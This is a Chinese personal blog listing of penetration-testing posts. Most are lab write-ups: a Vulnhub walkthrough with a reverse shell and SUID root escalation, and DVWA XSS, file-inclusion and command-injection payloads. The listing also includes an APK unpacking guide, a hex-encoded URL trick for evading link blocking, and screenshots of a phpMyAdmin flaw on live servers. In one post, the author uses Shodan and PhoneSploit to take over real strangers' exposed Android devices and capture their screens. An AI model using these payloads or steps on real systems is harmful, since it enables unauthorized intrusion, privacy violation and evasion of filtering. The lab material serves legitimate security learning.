首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
4,440 阅读
2
Cloudflare SAAS 接入自选教程
2,530 阅读
3
兽装曲腿制作文档
2,121 阅读
4
Frpc使用XTCP不通过服务器传输
2,054 阅读
5
CloudFront CDN配置教程
2,022 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
443
篇文章
累计收到
127
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
37
篇与
的结果
2020-11-07
对《山海镜花》的解包研究学习
《山海镜花》 是游族旗下新番工作室研发的以《山海经》为蓝本创作的东方幻想3D回合制RPG手游一、软件准备《apktool》1、apktool文件的下载apktool是反编译Android apk文件的工具,apktool的主页是 https://ibotpeaches.github.io/Apktool/;我们可以从这里找到最新版本的apktool.jar文件 https://bitbucket.org/iBotPeaches/apktool/downloads/,以及apktool的安装说明。2、apktool的安装前面我们已经下载了最新的apktool.jar文件,最新版本是2.3.1,请按照以下步骤操作,参考 https://ibotpeaches.github.io/Apktool/install/新建文本文件,将下面的脚本复制到文本并保存,然后重命名为apktool.bat;@echo off if "%PATH_BASE%" == "" set PATH_BASE=%PATH% set PATH=%CD%;%PATH_BASE%; chcp 65001 2>nul >nul java -jar -Duser.language=en -Dfile.encoding=UTF8 "%~dp0\apktool.jar" %* 从上面脚本中也可以看到是用apktool.jar文件去处理;将下载的apktool_2.3.1.jar文件重命名为apktool.jar;3、apktool的使用将上述两个文件apktool.bat和apktool.jar文件放到同一文件夹下(任意路径),打开命令窗口(win+R-->cmd-->enter);定位到apktool所在的文件夹;(若有java的系统变量也是可以的)输入以下命令:apktool.bat d -f ***.apk objectFolderPath 其中,objectFolderPath为可选项,如果此项不存在,软件将会在apktool文件夹下新建一个apk文件名的文件夹,否则存储到目标文件夹《UnityStudio》1.下载运行地址:https://github.com/Perfare/UnityStudio/releases最新版本支持unity5.x《winhex》(可选)下载地址http://www.x-ways.net/winhex.zip二、过程1.使用apktool对目标apk安装包进行拆解cd F:\解包\山海 apktool d com.youzu.shjh.huawei.apk //我的环境已经配置好了环境变量,直接cd到目标目录使用即可解包完成,目录下生成了一个和文件包同名的文件夹观察目录,发现asset文件夹占据了几乎99%的大小,估算模型数据在此目录下继续进入,发现AssetBundle目录下存在大量的数据文件,估测为目标2.搜寻读取资源文件经过查看,发现大量的dat文件初步经过修改后缀为obj dds 3ds打开无效,使用winhex读取文件发现UnityFS 5.x.x这样的文件头,确定为unity3d工程文件使用先前下载的UnityStudio(或称AssetStudio)批量打开文件目录或单独打开文件资源的内容已经展示出来了(不限于npc目录),可以选择需要的资源文件导出三、总结该文,该教材仅仅用作个人学习研究使用,请勿利用教材内容,进行有损目标软件公司利益的事情(包括但不限于版权纠纷,非法入侵纠纷)。本教程慨不负责bilibili同步连接 https://www.bilibili.com/read/cv8274140
2020年11月07日
124 阅读
0 评论
0 点赞
2020-08-24
宝塔7.4.2 phpMyadmin未授权登录漏洞
宝塔昨天给每位注册用户基本上都发了这样一条消息经过询问一些大佬,得知是phpmyadmin登录的一个问题具体如下,在访问 IP:888/pma/ 的时候,不需要验证mysql账号密码即可以登录phpmyadmin如这个服务器这个服务器已经修复了这个服务器可以看到,不管是apache还是NGINX统统遭殃可以正常查询所有信息甚至是某政府网站。。。。也遭殃了漏洞修复@@@升级脚本@@@
2020年08月24日
98 阅读
1 评论
0 点赞
2020-08-12
Vulnhub靶场之Photographer: 1
废话不多说。下载安装先。启动kali虚拟机继续arp-scan -l查询目标ip目标:192.168.163.130,使用浏览器访问验证是目标地址使用nmap -sS -A 192.168.163.130查询相关的端口信息开放端口:80,139,445,8000刚刚80端口这边我们已经访问过了,是纯静态的内容,逐一访问,发现8000端口存在一个CMS系统是一个koken的cms,查询源码发现是0.22.24版本使用nikto扫描工具扫描目录nikto -h http://192.168.163.130:8000/可能存在admin目录,我们访问一下试试看页面设计的还不错。。。登录需要邮箱。我们目前没有,查阅exp库发现koken版本0.22.24的上传漏洞不过我没法登录,咋上传啊,首页也没有上传点呐于是乎,这个漏洞只能后期用刚刚我们发现存在445 139端口,具有smb的特征,那么,文件系统是否有值得我们搜索的东西呢使用enum4linux探索445端口 enum4linux 192.168.163.130没有账号密码,我们使用空密码连接挂载到我们本地目录下去看到有两个文件,第一个似乎是什么邮件的文件,我们cat一下那是密码吗?是邮箱号码?agi@photographer.com 或者daisa@photographer.com 密码: babygirl都试试看登录成功这样一来,刚刚的上传漏洞就能搞他了使用Kali自带的php反弹脚本来进行利用cp /usr/share/webshells/php/php-reverse-shell.php ~/yyssdd.php.jpg改一下监听端口七七八八。接下来上传,使用burp修改后缀名访问我们刚刚上传的另外在kali这边设置好监听nc -lvnp 1234监听好后开始访问,获取到反弹shell接下来python3 -c 'import pty;pty.spawn("/bin/bash")' 获取到交互式shell接下来查询关键的具有suid访问权限的程序find / -perm -u=s -type f 2>/dev/null发现有一个php7.2的东东具有权限,我们利用php7.2获取到root权限/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"使用php7.2的exec调起sh执行获取到root最高权似乎是旗子,搞定
2020年08月12日
96 阅读
0 评论
0 点赞
2020-07-31
十六进制网址探究
今天在某php群里看到了这样一个消息这奇怪的的域名把道锋我吓了一大跳,关键是,他能访问??看这个后缀,意识到哪里不对劲,这绝对不是“正常”的域名访问的时候稍微研究了一下他的URL先是访问到了一个ip,然后才去向他的网站的。难道是ip有问题?我的咋就不能这么折腾呢?我这犟脾气上来了,看了看他的地址:http://0X6A.0X0341D84很明显的看到有0x这个字符串。。这是?0x是十六进制的特征,可以理解成是一个注释,让计算机系统知道你这串数据是十六进制编码。既然知道这是十六进制了,拿这串地址的真实意思是什么呢?脑子抽筋的我,先是选择十六进制转字符来转换。结果。。。毫不意外,直接乱码警告。。。死脑筋的我一时间没转过弯来。直到我第二次访问火狐浏览器给我跳这段下拉。0x6a下方的IP虽然是计数到255,但是本身是十进制啊。难不成要十六进制转十进制?果然呢。。。。xxx.xxx.xxx.xxx都找到了一一对应的数据,那就很明白了,这串地址的编码顺序应该是这样的设aaa.bbb.ccc.ddd则地址串应该是 http://0X (HEXaaa).0X (HEXbbb)(HEXccc)(HEXddd)这么说,我也能用这东西来防红咯来到服务器,先安装上NGINX。记录下地址47.101.190.190根据换算HEX47=2f HEX101=65 HEX190=be 整合成地址:http://0X2f.0X065BEBE/完美,再设置一下NGINX目录302重定向就实现防红了这位老哥真的是骚气啊。类似的操作还比如八进制只不过八进制模式貌似没法完整转换成纯八进制编码串(可能是我打开方式不对)
2020年07月31日
68 阅读
0 评论
0 点赞
2020-06-14
使用Shodan扫描暴露的Adb控制全球在线的Andriod设备
这个项目是个好东西,但是fork有点惨淡。即便如此依然不影响它的能力,名称为PhoneSploit。支持Windows和Linux Windows的操作有点麻烦(不想折腾),因此本文以kali为主准备工作:PhoneSploitshodankail下载所需要的工具,也就是我们的项目。PhoneSploitLinux系统:git clone https://github.com/Zucccs/PhoneSploitcd PhoneSploitpip install coloramapython2 main_linux.pyWindows系统:git clone https://github.com/Zucccs/PhoneSploitextract adb.rar to the phonesploit directorycd PhoneSploitpip install coloramapython2 main.pyPS:由于我的kali环境比较全,没出现什么异常如果显示没有pip 的话,根据系统另行安装#python2 sudo apt install python-pip #非centos sudo yum install python2-pip #Centos #python3 sudo apt install python3-pip #非centos sudo yum install python3-pip #Centos看到下面的界面就表示安装成功由于我是Xshell的连接,色彩可能不一样接下来打开Shodan引擎一定一定要登录,不然没法搜索我们的相关语句之后根据关键词搜索,android debug bridge product:”Android Debug Bridge”.之后你就会看到如下界面。接下来根据工具所给的操作选项进行操作选项输入3我们输入靶机ip连接成功看到选项里面有一个查看屏幕的功能,我这里违背一下道德进行测试下载下来了看起来似乎在玩什么游戏遇到了广告输入14还能看到对方安装了什么软件所有操作请遵守法律!
2020年06月14日
116 阅读
0 评论
0 点赞
2020-05-17
DVWA-10.1 Stored Cross Site Scripting (XSS)
存储型xss的不同之处在于它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多。Low服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> 相关函数说明trim(string,charlist)函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。mysql_real_escape_string(string,connection)函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。stripslashes(string)函数删除字符串中的反斜杠。可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。漏洞利用message一栏输入<script>alert(1)</script>成功弹框:用户名无法做XSS,因为有用户名长度限制,当然也可以在控制台来完成修改。Medium服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> 相关函数说明strip_tags()strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用标签。addslashes()addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了漏洞利用同反射型XSS一样,可以用大小写绕过也可以用双写绕过。但是由于Name字段的限制这里就采用Burp来改包了。High服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。漏洞利用同之前的反射型XSS方法一样,Burp改包即可,抓包改name参数为<img src=1 onerror=alert(/xss/)>Impossible服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?> 可以看到,通过使用htmlspecialchars函数,解决了XSS。
2020年05月17日
77 阅读
0 评论
0 点赞
2020-05-10
DVWA-10.1 XSS (DOM)
XSSXSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。Low前端源码服务器端核心代码<?php # No protections, anything goes ?>可以看到,前端使用 document.write() 动态生成页面,服务器端代码没有任何的保护性措施!页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤。直接暴露在了URL地址栏里面漏洞利用我们可以构造XSS代码,访问链接:/vulnerabilities/xss_d/?default=<script>alert('xss')</script>可以看到,我们的script脚本成功执行了。我们去看看页面的源码变成什么样了Medium源代码:<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags (不区分大小写) if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?> 可以看到,medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script ,如果有的话,则将 default=English 。很明显,这里过滤了<script (不区分大小写),那么我们可以使用<img src=1 οnerrοr=('hack')>但是当我们访问URL:/vulnerabilities/xss_d/?default=<img src=1 οnerrοr=alert('hack')> 此时并没有弹出任何页面风平浪静的页面我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。所以我们得先闭合前面的标签,我们构造语句闭合option标签:<option value=' " + lang + " '> " + decodeURI(lang) + " </option>所以,我们构造该链接:/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert('hack')> 还是风平浪静。。。。。查看源代码,发现我们的语句中只有 > 被插入到了option标签的值中,因为闭合了option标签,所以img标签并没有插入于是我们继续构造语句去闭合select标签,这下我们的img标签就是独立的一条语句了我们构造该链接:/vulnerabilities/xss_d/?default= ></option></select><img src=1 οnerrοr=alert('hack')>可以看到,我们的语句成功执行了High源代码: <?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?> 这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。这样的话,我们的语句就没有可能插入到页面中了。目前我也没有找到好的方法进行XSS注入。Impossible源代码:<?php # Don't need to do anything, protction handled on the client side ?> 我们可以看到,impossible级别的代码没有任何东西,注释写的是保护的代码在客户端的里面于是我们尝试访问链接/vulnerabilities/xss_d/?default=<script>alert('hack')</script>发现页面并没有弹出任何东西,而且语言框内的值是我们输入的参数的经过URL编码后的数据查看源代码,发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞
2020年05月10日
93 阅读
0 评论
0 点赞
2020-05-04
DVWA-1.10 File Inclusion
目录遍历(Directory traversal)和文件包含(File include)的一些区别:目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含几种经典的测试方法:?file=../../../../../etc/passwdd?page=file:///etc/passwd?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt(通过多个../可以让目录回到根目录中然后再进入目标目录)编码绕过字符过滤:可以使用多种编码方式进行绕过%00嵌入任意位置的利用Low服务代码<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>可以看到,服务器端对page参数没有做任何的过滤跟检查。服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。构造url:因为我是windows服务器,随意的在磁盘跟目录下创建了一个fl.ini文件来检测是否存在http://192.168.0.130/DVWA-master/vulnerabilities/fi/?page=H:\fl.ini成功读取了fl.ini文件其实用相对路径也是可以的,用NNNNN层的..\来使其返回到根目录http://192.168.0.130/DVWA-master/vulnerabilities/fi/?page=../../../../../../fl.ini同时我们看到,配置文件中的Magic_quote_gpc选项为off。在PHP4.0及以上的版本中,该选项默认情况下是开启的,5.4之后的版本已经删除了这个Magic_quote_gpc在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的php.iniphp.ini%0012.php使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。当服务器的php配置中选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话,就容易导致任意远程代码执行。Medium核心代码:<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除,这里只是过滤了远程包含,但没有过滤本地包含http://192.168.0.130/DVWA-master/vulnerabilities/fi/?page=H:\fl.iniHigh服务器端核心代码<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,如下图我们构造如下URL:http://192.168.0.130/DVWA-master/vulnerabilities/fi/?page=file:///H:/fl.iniImpossible服务器端核心代码<?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞
2020年05月04日
74 阅读
0 评论
0 点赞
2020-05-03
DVWA-1.10 Command Injection
DVWA简介DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块,分别是Brute Force(暴破)Command Injection(命令注入)CSRF(跨站伪造)File Inclusion(文件包含)File Upload(上传)Insecure CAPTCHA (不安全的验证码)SQL Injection(SQL注入)SQL Injection(Blind)(SQL盲注)XSS(Reflected)(反射跨站)XSS(Stored)(存储跨站)需要注意的是,DVWA分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些php代码审计的内容。命令注入命令注入,即命令注入,是指通过提交恶意结构的参数破坏命令语句结构,从而实现执行恶意命令的目的。PHP命令注入攻击是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!,DedeCMS等都曾经存在过该类型漏洞。Low服务器端核心代码<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> 相关函数介绍 stristr(string,search,before_search)stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值的字符),可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函数将返回search参数第一次出现之前的字符串部分。php_uname(mode)这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。漏洞利用window和linux系统都可以用&&来执行多条命令127.0.0.1&&net userLinux下输入127.0.0.1&&cat /etc/shadow甚至可以读取shadow文件,可见危害之大。Medium服务器端核心代码<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。漏洞利用1、127.0.0.1&net user因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。这里需要注意的是”&&”与” &”的区别:Command 1&&Command 2先执行Command 1,执行成功后执行Command 2,否则不执行Command 2Command 1&Command 2先执行Command 1,不管是否成功,都会执行Command 22、由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过:127.0.0.1&;&ipconfig这是因为”127.0.0.1&;&ipconfig”中的” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&& ipconfig” ,会成功执行。High服务器端核心代码<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> 相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。漏洞利用黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。127.0.0.1|whoamiCommand 1 | Command 2“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。Impossible服务器端核心代码<?php if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?> 相关函数介绍stripslashes(string)stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。explode(separator,string,limit)把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。is_numeric(string)检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。Impossible加入了Anti-CSRF token,对参数ip进行了严格限制,只有诸如“数字.数字.数字.数字”的输入才会被执行,因此不存在命令注入漏洞。
2020年05月03日
67 阅读
0 评论
0 点赞
2020-05-03
Vulnhub靶场之DC-9
